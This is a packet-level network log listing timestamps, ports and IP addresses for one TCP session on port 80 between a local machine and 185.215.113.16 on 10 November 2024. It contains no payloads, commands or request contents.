Nov 10, 2024 19:44:28.560995102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561005116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561043024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561176062 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561216116 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561383009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561392069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561439991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561496973 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561516047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561533928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561541080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561558962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561563969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561577082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561578989 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561602116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561613083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561621904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561631918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561640978 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561650991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561661005 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561670065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561683893 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561691046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561717033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561906099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561919928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.561950922 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.561974049 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562016964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562026024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562043905 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562056065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562062025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562091112 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562264919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562274933 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562293053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562306881 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562330961 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562416077 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562438011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562448978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562457085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562468052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562475920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562489033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562503099 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562510014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562520981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562530994 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562540054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562546968 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562558889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562570095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562575102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562594891 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562602043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562609911 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562623024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562638998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562648058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562655926 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562668085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562675953 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562685013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562700033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562706947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562714100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562727928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562736988 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562752962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562762022 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562771082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562788010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562793970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562804937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562815905 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562829018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562834024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562844992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562850952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562860012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562866926 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562877893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562886000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562896013 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562903881 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562913895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562921047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562928915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562942028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562952042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562972069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.562977076 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.562999010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563005924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563014984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563021898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563034058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563040018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563050985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563056946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563069105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563075066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563085079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563093901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563102007 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563114882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563123941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563134909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563144922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563157082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563168049 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563193083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563199997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563210964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563225031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563231945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563245058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563251019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563260078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563266993 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563278913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563285112 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563292980 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563302994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.563309908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.563350916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.633276939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.633323908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.633342028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.633352041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.633366108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.633373976 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.633387089 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.633397102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.633405924 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.633430004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634257078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634279966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634289026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634296894 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634315014 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634363890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634387970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634397984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634407043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634418964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634427071 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634438038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634448051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634455919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634464025 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634478092 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634481907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634504080 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634519100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634526968 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634535074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634555101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634562969 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634569883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634582043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.634597063 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.634613991 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.674129009 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.674175024 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.674184084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.674190998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.674212933 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.674253941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.674263954 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.674283028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.674293041 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.674318075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.676898956 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.676940918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.676951885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.676980019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.676995039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.677000046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677010059 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677026033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677033901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677040100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.677052021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677058935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.677071095 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677087069 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.677098036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.677390099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677397966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677419901 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677426100 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.677438974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677452087 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.677458048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.677474976 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.677488089 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678236008 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678283930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678297043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678306103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678318024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678327084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678337097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678347111 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678359985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678417921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678582907 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678594112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678626060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678637028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678652048 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678668976 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678677082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678685904 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678699970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678714037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678720951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678735971 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678745031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678755045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678770065 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678781986 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678788900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678797960 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678811073 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.678832054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.678850889 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679084063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679095030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679117918 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679145098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679174900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679184914 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679203033 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679212093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679218054 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679231882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679240942 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679248095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679255962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679263115 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679280043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679286957 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679300070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679307938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679332972 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679388046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679397106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679414034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679421902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679431915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679445982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679466963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679501057 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679526091 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679536104 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679554939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679560900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679573059 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679580927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679589033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679600000 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679610014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679625034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679635048 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679660082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679686069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679693937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679713964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679728031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679733992 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679742098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679754972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679771900 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679779053 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679789066 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679800987 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679811001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679821014 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679827929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679827929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679840088 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679851055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679857969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679871082 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679879904 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679888964 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679902077 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679908991 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679917097 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679929972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679940939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679961920 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.679977894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.679989100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680006027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680013895 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680023909 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680031061 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680039883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680051088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680061102 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680071115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680083990 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680089951 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680099010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680118084 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680181026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680190086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680206060 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680212975 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680227041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680239916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680255890 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680263042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680284023 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680293083 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680303097 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680311918 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680320024 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680330038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680335999 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680346012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680360079 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680370092 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680386066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680394888 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680406094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680413961 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680423975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680432081 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680443048 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:28.680449963 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:28.680463076 CET	80	49762	185.215.113.16	192.168.2.4
